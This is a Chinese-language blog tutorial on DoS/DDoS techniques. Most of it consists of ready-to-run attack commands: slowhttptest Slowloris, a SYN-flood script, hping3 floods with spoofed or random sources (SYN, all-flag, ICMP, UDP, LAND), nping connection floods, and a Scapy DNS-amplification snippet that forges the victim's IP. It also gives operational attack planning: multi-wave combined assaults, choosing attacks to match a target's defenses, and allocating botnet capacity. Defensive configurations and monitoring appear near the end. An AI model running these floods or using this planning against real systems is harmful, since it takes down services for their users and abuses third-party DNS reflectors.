前言

在上一篇文章中,我们介绍了DoS/DDoS攻击的基础理论以及SSL洪水、慢速POST等攻击技术。本文将继续深入探讨更多高级攻击手段,包括经典的Slowloris攻击SYN Flood洪水攻击DNS放大攻击,以及强大的Hping3工具的多种应用场景。这些技术是现代DDoS攻击的核心组成部分,理解其原理对于构建有效的防御体系至关重要。

安全警告: 本文内容仅供授权测试和学习研究。未经授权的攻击行为属于严重违法犯罪,将承担法律责任。

一、Slowloris攻击详解

1.1 攻击原理深度剖析

Slowloris是一种极其隐蔽且高效的慢速攻击方式,由RSnake在2009年发布。

HTTP协议特性:

正常的HTTP请求格式:

GET /index.html HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Connection: keep-alive
[空行 \r\n\r\n]  ← 标志请求头结束

关键点:

  • HTTP请求头必须以\r\n\r\n(两个CRLF)结束
  • 服务器收到完整请求头后才开始处理
  • 在收到结束标志前,连接会一直保持打开状态

Slowloris攻击流程:

客户端                          服务器
  |                               |
  |--GET / HTTP/1.1-------------->| 1. 发送部分请求头
  |--Host: target.com------------>|
  |--User-Agent: Mozilla--------->|
  |                               |
  |   (等待10秒)                  | 服务器等待完整请求头
  |                               |
  |--X-a: b---------------------->| 2. 发送无意义的头部
  |                               |
  |   (等待10秒)                  | 继续等待...
  |                               |
  |--X-c: d---------------------->| 3. 持续缓慢发送
  |                               |
  |   永不发送 \r\n\r\n           | 永不结束,占用连接

攻击特点:

  1. 永不完整: 始终不发送\r\n\r\n结束标志
  2. 保持活跃: 定期发送无意义的头部字段(如X-a: b)
  3. 占用连接: 服务器为每个连接分配资源并等待
  4. 耗尽并发: 当达到最大并发连接数时,正常用户无法访问

与Slow POST的区别:

特性 Slowloris Slow POST
攻击位置 HTTP请求头 HTTP请求体
结束标志 不发\r\n\r\n 声明大Content-Length但慢发
资源消耗 极低
隐蔽性 极高
防御难度 极高

1.2 SlowHTTPTest实现Slowloris

攻击命令:

slowhttptest -c 2000 -H -g -o my_header_stats -i 10 -r 1000 -t GET -u http://192.168.87.150 -x 24 -p 3

参数详细解析:

参数 含义 推荐值 说明
-c 2000 并发连接数 1000-5000 根据目标服务器配置调整
-H Slowloris模式 必需 启用慢速HTTP头攻击
-g 生成统计图 可选 输出CSV格式统计数据
-o my_header_stats 输出文件名 自定义 保存统计结果
-i 10 发送间隔(秒) 5-20 每隔10秒发送一个无用头部
-r 1000 每秒连接速率 500-2000 快速建立大量连接
-t GET HTTP方法 GET/POST 使用GET请求
-u URL 目标URL 必需 完整的目标地址
-x 24 最大数据长度 10-100 每次发送的字节数
-p 3 超时时间(秒) 2-5 连接建立超时

攻击效果观察:

在攻击机(Kali/Parrot):

# 实时查看连接数
watch -n 1 'slowhttptest查看输出的数字'

# 输出示例:
# test-10: waiting for 2000 connections (1856/2000)
# 括号中显示: 已建立连接数/目标连接数

在目标服务器(Windows):

# 查看连接状态
netstat -ano | findstr :80 | findstr ESTABLISHED | find /c "ESTABLISHED"

# 观察现象:
# - 连接数持续增长
# - 达到服务器并发上限后新连接被拒绝
# - CPU和内存占用相对较低

停止攻击:

# 按Ctrl+C终止
^C

# 验证服务恢复
curl http://192.168.87.150

1.3 Slowloris的威力与局限

为什么如此有效?

  1. 极低资源消耗:
    • 每个连接只需几KB内存
    • 普通家庭网络即可发起
    • 单台机器可维持数千连接
  2. 难以检测:
    • 看起来像正常但缓慢的客户端
    • 没有异常的请求内容
    • 流量特征不明显
  3. 精准打击:
    • 针对Web服务器的并发限制
    • 不浪费带宽
    • 效果立竿见影

局限性:

  • 仅对特定服务器有效(Apache 1.x/2.x、lighttpd等)
  • Nginx、IIS等服务器有更好的防护
  • 可以通过反向代理缓解
  • 需要持续维持连接

二、SYN Flood洪水攻击

2.1 攻击原理回顾

SYN Flood是最经典的DoS攻击之一,利用TCP三次握手的缺陷。

正常三次握手:

客户端              服务器
  |                   |
  |--SYN------------->| 1. 请求连接 (seq=x)
  |                   | 服务器分配资源
  |<--SYN-ACK---------| 2. 响应 (seq=y, ack=x+1)
  |                   |
  |--ACK------------->| 3. 确认 (ack=y+1)
  |                   | 连接建立

SYN Flood攻击:

攻击者              服务器
  |                   |
  |--SYN (伪造源IP)-->| 1. 发送SYN请求
  |                   | 服务器分配资源
  |<--SYN-ACK---------| 2. 响应发往伪造IP
  |                   | (永远收不到回复)
  |   X               | 3. 等待超时
  |                   | 资源被占用60-120秒
  |                   |
  |--继续发送SYN----->| 4. 大量SYN请求
  |--大量SYN--------->| 耗尽连接队列

攻击要点:

  • 伪造源IP地址
  • 服务器为每个半开连接分配资源
  • 大量半开连接耗尽服务器的SYN队列(backlog)
  • 正常用户的连接请求被拒绝

2.2 Python SYN Flood工具

下载工具:

# 克隆GitHub仓库
cd /root
git clone https://github.com/EmreOvunc/Python-SYN-Flood-Attack-Tool.git

# 进入工具目录
cd Python-SYN-Flood-Attack-Tool

查看工具文件:

ls -la

# 主要文件:
# synflood.py - Python 2版本
# py3_synflood_cmd.py - Python 3版本
# README.md - 使用说明

查看使用说明:

cat README.md

# 或者直接查看帮助
python3 py3_synflood_cmd.py -h

执行攻击:

# Python 3版本(推荐)
python3 py3_synflood_cmd.py -t 192.168.87.150 -p 80 -c 5

# Python 2版本
python2 synflood.py -t 192.168.87.150 -p 80 -c 5

参数说明:

  • -t: Target(目标IP地址)
  • -p: Port(目标端口)
  • -c: Count(发送的SYN包数量,实际会持续发送)

效果监控:

# 在目标服务器查看连接状态
netstat -ano | findstr :80 | findstr SYN_RECV

# 查看半开连接统计
netstat -nat | grep SYN_RECV | wc -l

2.3 SYN Flood的规模效应

单机攻击的局限:

  • 家庭网络带宽有限(10-100 Mbps)
  • IP容易被封禁
  • 无法达到大规模效果

DDoS规模效应:

  • 需要数百至数万台肉鸡
  • 分布式发起,难以防御
  • 累积流量可达数十Gbps甚至Tbps
  • 现代服务器必须部署专业防护

真实案例:

  • 2016年Dyn DNS攻击: 1.2 Tbps
  • 2018年GitHub攻击: 1.35 Tbps
  • 使用IoT设备(路由器、摄像头)组成的Mirai僵尸网络

三、DNS放大攻击

3.1 攻击原理

DNS放大攻击是一种流量放大攻击,利用DNS协议的特性将小请求放大为大响应。

放大原理:

攻击者             DNS服务器           受害者
  |                    |                  |
  |--小请求(64字节)--->|                  | 1. 伪造源IP为受害者
  |  源IP: 受害者IP    |                  |
  |                    |                  |
  |                    |--大响应(4KB+)--->| 2. DNS响应发给受害者
  |                    |                  |
  |                    |                  | 3. 受害者收到大量流量

放大倍数:

  • 典型请求: 64字节
  • 典型响应: 512-4096字节
  • 放大倍数: 8-64倍
  • 使用ANY查询可达到更高倍数

攻击特点:

  1. 以小博大: 攻击者发送小请求,受害者收到大响应
  2. 隐藏真实IP: 请求伪造为受害者IP
  3. 利用开放DNS: 使用公共DNS服务器(如8.8.8.8、114.114.114.114)
  4. 典型的反射型攻击: DNS服务器成为"反射器"

3.2 DNS查询实验

安装DNS工具:

apt-get install dnsutils

测试DNS查询放大效果:

# 查询QQ.com的所有记录
dig ANY qq.com @114.114.114.114

# 观察输出大小
# 请求大小: ~64字节
# 响应大小: 通常超过512字节,可能包含:
#   - A记录(IPv4地址)
#   - AAAA记录(IPv6地址)
#   - MX记录(邮件服务器)
#   - NS记录(域名服务器)
#   - TXT记录(文本信息)
#   - SOA记录(授权起始)

查询示例输出:

;; QUESTION SECTION:
;qq.com.                IN      ANY

;; ANSWER SECTION:
qq.com.         600     IN      A       61.129.7.47
qq.com.         600     IN      A       183.3.226.35
qq.com.         600     IN      MX      10 mx1.qq.com.
qq.com.         600     IN      MX      20 mx2.qq.com.
qq.com.         600     IN      NS      ns1.qq.com.
qq.com.         600     IN      NS      ns2.qq.com.
qq.com.         600     IN      TXT     "v=spf1 include:spf.qq.com -all"

;; Query time: 15 msec
;; MSG SIZE  rcvd: 512  ← 注意响应大小

3.3 攻击实现原理

编程实现思路(仅供理解原理):

# 伪代码示例(不可直接运行)
from scapy.all import *

def dns_amplification(target_ip, dns_server):
    # 构造DNS查询包
    packet = IP(dst=dns_server, src=target_ip) / \  # 伪造源IP
             UDP(dport=53) / \
             DNS(rd=1, qd=DNSQR(qname="qq.com", qtype="ANY"))
    
    # 持续发送
    send(packet, loop=1, verbose=0)

关键步骤:

  1. 构造DNS查询包
  2. 伪造源IP为受害者IP
  3. 发送到开放的DNS服务器
  4. DNS服务器将大响应发给受害者

为什么需要学会编程:

  • 现成工具可能特征明显
  • 自定义工具更灵活
  • 可以调整放大倍数
  • 学习Python网络编程和Scapy库

3.4 防御措施

DNS服务器端:

  • 限制ANY查询
  • 实施速率限制(Rate Limiting)
  • 配置响应速率限制(RRL)
  • 禁用递归查询(针对开放解析器)

受害者端:

  • 部署DDoS防护服务
  • 使用流量清洗中心
  • 增加带宽储备
  • 实施入站流量过滤

四、Hping3万能攻击工具

4.1 Hping3简介

Hping3是一个功能强大的命令行网络工具,可以定制发送任何TCP/IP数据包

主要功能:

  • 构造自定义数据包
  • 伪造源地址
  • 端口扫描
  • 防火墙测试
  • 路径MTU发现
  • 各种DoS攻击

安装:

apt-get install hping3

查看帮助:

hping3 -h

4.2 常用参数详解

参数 说明 示例
-a 伪造源地址 -a 1.1.1.1
-c 发送包数量 -c 1000
-d 数据字节数 -d 120
-S 设置SYN标志 -S
-A 设置ACK标志 -A
-F 设置FIN标志 -F
-P 设置PSH标志 -P
-R 设置RST标志 -R
-U 设置URG标志 -U
-p 目标端口 -p 80
-s 源端口 -s 53
-w TCP窗口大小 -w 64
--flood 洪水模式(最快速度) --flood
--rand-source 随机源地址 --rand-source
-q 安静模式(不输出) -q
-n 不解析域名 -n
--icmp ICMP模式 --icmp
--udp UDP模式 --udp

4.3 SYN Flood攻击

基础SYN Flood:

hping3 -c 3000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.87.150

参数解析:

  • -c 3000: 发送3000个包(flood模式下会忽略)
  • -d 120: 每个包120字节数据
  • -S: 设置SYN标志
  • -w 64: TCP窗口大小64
  • -p 80: 目标端口80
  • --flood: 以最快速度发送
  • --rand-source: 随机伪造源IP

简化版SYN Flood:

hping3 -S -P -p 80 --flood --rand-source 192.168.87.150

效果:

  • 目标服务器的80端口被大量SYN包淹没
  • 连接队列(backlog)被占满
  • 正常用户无法建立连接
  • 服务器资源耗尽

4.4 TCP全标志攻击

TCP Flood(设置所有标志):

hping3 -SARUFP -p 80 --flood --rand-source 192.168.87.150

标志组合:

  • -S: SYN(同步)
  • -A: ACK(确认)
  • -R: RST(重置)
  • -U: URG(紧急)
  • -F: FIN(结束)
  • -P: PSH(推送)

攻击原理:

  • 发送畸形TCP包(同时设置矛盾的标志)
  • 某些防火墙和服务器处理不当会崩溃
  • 消耗服务器CPU资源
  • 触发异常处理逻辑

4.5 ICMP Flood攻击

ICMP洪水:

hping3 -q -n -a 1.1.1.1 --icmp -d 56 --flood 192.168.87.150

参数说明:

  • -q: 安静模式,不显示输出
  • -n: 不解析域名(加快速度)
  • -a 1.1.1.1: 伪造源地址为1.1.1.1
  • --icmp: ICMP模式
  • -d 56: 每个包56字节(标准ping大小)
  • --flood: 洪水模式

攻击特点:

  • 相当于高速批量发送ping包
  • 主要消耗网络带宽
  • CPU和端口消耗较低
  • 容易被防火墙过滤

抓包观察:

# 在目标机器抓包
tcpdump -i eth0 icmp -n

# 会看到大量来自1.1.1.1的ICMP Echo Request

4.6 UDP Flood攻击

UDP洪水:

hping3 -a 1.1.1.1 --udp -s 53 -d 100 -p 53 --flood 192.168.87.150

参数解析:

  • -a 1.1.1.1: 伪造源IP
  • --udp: UDP模式
  • -s 53: 源端口53(DNS)
  • -d 100: 每个包100字节
  • -p 53: 目标端口53(DNS)
  • --flood: 洪水模式

攻击特点:

  • 针对特定UDP服务(如DNS、NTP)
  • UDP无连接,无需握手
  • 可以完全伪造源地址
  • 适合反射放大攻击

实战建议:

  • 选择目标服务的关键端口
  • DNS(53)、NTP(123)、SNMP(161)
  • 结合放大攻击效果更好

4.7 LAND攻击

LAND(Local Area Network Denial):

hping3 -n -a 192.168.87.150 -S -d 100 -p 80 --flood 192.168.87.150

攻击原理:

  • 源地址和目标地址都是受害者IP
  • 受害者向自己发起SYN请求
  • 自己回复SYN-ACK给自己
  • 形成死循环,消耗资源

效果:

  • 特殊的SYN Flood变种
  • 某些老旧系统会因此崩溃
  • 现代系统多已修复此漏洞
  • 主要针对古董级设备

4.8 TCP全连接攻击

使用Nping进行全连接攻击:

nping --tcp-connect --rate=10000 -c 100000000 -q 192.168.87.150

参数说明:

  • --tcp-connect: 完成三次握手(全连接)
  • --rate=10000: 每秒10000次连接
  • -c 100000000: 总共1亿次连接
  • -q: 安静模式

与SYN Flood对比:

特性 SYN Flood TCP全连接
握手完成 否(半开) 是(全连接)
资源消耗 服务器高,攻击者低 双方都高
检测难度 容易(大量半开) 较难(正常连接)
伪造源IP 可以 不可以
连接状态 SYN_RECV ESTABLISHED

攻击特点:

  • 建立真实的TCP连接
  • 占用服务器连接资源
  • 消耗比慢速攻击高
  • 无法伪造源IP(需要完成握手)
  • 更接近真实用户行为

五、攻击策略与组合

5.1 攻击类型对比

攻击类型 带宽消耗 CPU消耗 内存消耗 隐蔽性 防御难度
Slowloris 极低 极低 ★★★★★ ★★★★★
SYN Flood ★★★☆☆ ★★★☆☆
DNS放大 极高 ★★★★☆ ★★★★☆
ICMP Flood ★☆☆☆☆ ★★☆☆☆
UDP Flood ★★☆☆☆ ★★★☆☆
TCP全连接 中高 ★★★★☆ ★★★★☆

5.2 组合攻击策略

多层攻击:

  1. 第一波: ICMP/UDP Flood耗尽带宽
  2. 第二波: SYN Flood占满连接队列
  3. 第三波: Slowloris维持长期占用
  4. 第四波: 应用层攻击(如SQL注入)

分散目标:

  • 同时攻击Web服务器(80/443)
  • 攻击DNS服务器(53)
  • 攻击邮件服务器(25/110/143)
  • 全方位瘫痪基础设施

5.3 实战考量

选择合适的攻击方式:

  1. 内网环境 → Slowloris、SYN Flood
  2. 外网高带宽目标 → DNS放大、UDP Flood
  3. 有CDN防护 → 应用层攻击(Slowloris)
  4. 防火墙严格 → TCP全连接攻击

肉鸡资源分配:

  • 10%: 侦察和测试
  • 60%: 主攻击流量
  • 20%: 备用轮换
  • 10%: 应急响应

六、防御与检测

6.1 针对性防御

防御Slowloris:

# Nginx配置
http {
    client_header_timeout 10s;
    client_body_timeout 10s;
    keepalive_timeout 10s;
}

防御SYN Flood:

# Linux内核参数
sysctl -w net.ipv4.tcp_syncookies=1
sysctl -w net.ipv4.tcp_max_syn_backlog=4096
sysctl -w net.ipv4.tcp_synack_retries=1

防御DNS放大:

# BIND DNS配置
options {
    rate-limit {
        responses-per-second 5;
    };
    # 禁用ANY查询
    minimal-any yes;
};

6.2 检测异常流量

实时监控脚本:

#!/bin/bash
# 检测SYN Flood
while true; do
    syn_count=$(netstat -nat | grep SYN_RECV | wc -l)
    if [ $syn_count -gt 100 ]; then
        echo "警告: 检测到SYN Flood攻击! 半开连接数: $syn_count"
    fi
    sleep 1
done

查看攻击来源:

# 统计连接最多的IP
netstat -nat | grep ESTABLISHED | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -10

6.3 应急处理

临时封禁:

# 封禁单个IP
iptables -A INPUT -s [攻击IP] -j DROP

# 限制SYN速率
iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP

# 限制ICMP
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/s -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP

七、学习与实践

7.1 实验环境建议

隔离网络:

[攻击机] ← → [虚拟交换机] ← → [目标机]
                    ↓
              [监控机(抓包)]

推荐配置:

  • 攻击机: Kali/Parrot (2核2G)
  • 目标机: Ubuntu Server + Apache (2核1G)
  • 监控机: Wireshark抓包分析

7.2 学习路径

初级阶段(理解原理):

  1. 搭建虚拟实验环境
  2. 逐个测试每种攻击
  3. 使用Wireshark观察数据包
  4. 理解TCP/IP协议栈

中级阶段(实战应用):

  1. 学习Scapy库编写自定义攻击脚本
  2. 研究防御配置和规则
  3. 分析真实攻击流量样本
  4. 掌握应急响应流程

高级阶段(攻防对抗):

  1. 研究最新DDoS技术(HTTP/2 Flood、QUIC攻击)
  2. 学习流量清洗和分析技术
  3. 参与CTF竞赛和红蓝对抗
  4. 开发自动化防御系统

7.3 实用工具推荐

攻击测试工具:

  • Hping3: 底层数据包构造
  • Scapy: Python网络编程
  • LOIC/HOIC: 图形化DDoS工具
  • GoldenEye: HTTP/HTTPS Slowloris

防御分析工具:

  • Wireshark: 数据包分析
  • tcpdump: 命令行抓包
  • iftop: 实时流量监控
  • Fail2Ban: 自动封禁
  • ModSecurity: Web应用防火墙

总结

本文深入探讨了多种高级DoS攻击技术,从Slowloris的极致隐蔽到SYN Flood的经典暴力,从DNS放大的四两拨千斤到Hping3的万能定制,每种技术都有其独特的应用场景和防御挑战。

核心要点回顾:

  1. Slowloris是最隐蔽的攻击 - 极低资源消耗,极高效果
  2. SYN Flood是最经典的攻击 - 利用TCP协议缺陷,需要规模化
  3. DNS放大是最聪明的攻击 - 以小博大,利用反射机制
  4. Hping3是最灵活的工具 - 可以构造任意数据包,万能武器
  5. 组合攻击效果最好 - 多层攻击,全方位打击
  6. 防御需要多层体系 - 单一防护措施不足以应对
  7. 学习编程至关重要 - 自定义工具才能真正理解原理

安全启示:

  • 理解攻击原理才能构建有效防御
  • 攻防是动态对抗的过程
  • 技术是中性的,关键在于使用者的目的
  • 合法合规是学习和应用的前提

实践建议:

  • 在隔离环境中充分实验
  • 使用Wireshark深入分析数据包
  • 学习Python和Scapy进行二次开发
  • 关注最新的攻防技术动态
  • 参与合法的CTF竞赛和演练

最后提醒: DoS/DDoS攻击是严重的网络犯罪行为。本文介绍的所有技术仅供授权测试、学习研究和防御体系建设使用。未经授权对任何系统发起攻击将面临法律制裁。请始终在合法合规的框架内学习和应用网络安全技术。

免责声明: 作者和发布平台对因使用本文技术造成的任何后果不承担责任。读者应自行判断并遵守当地法律法规。

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐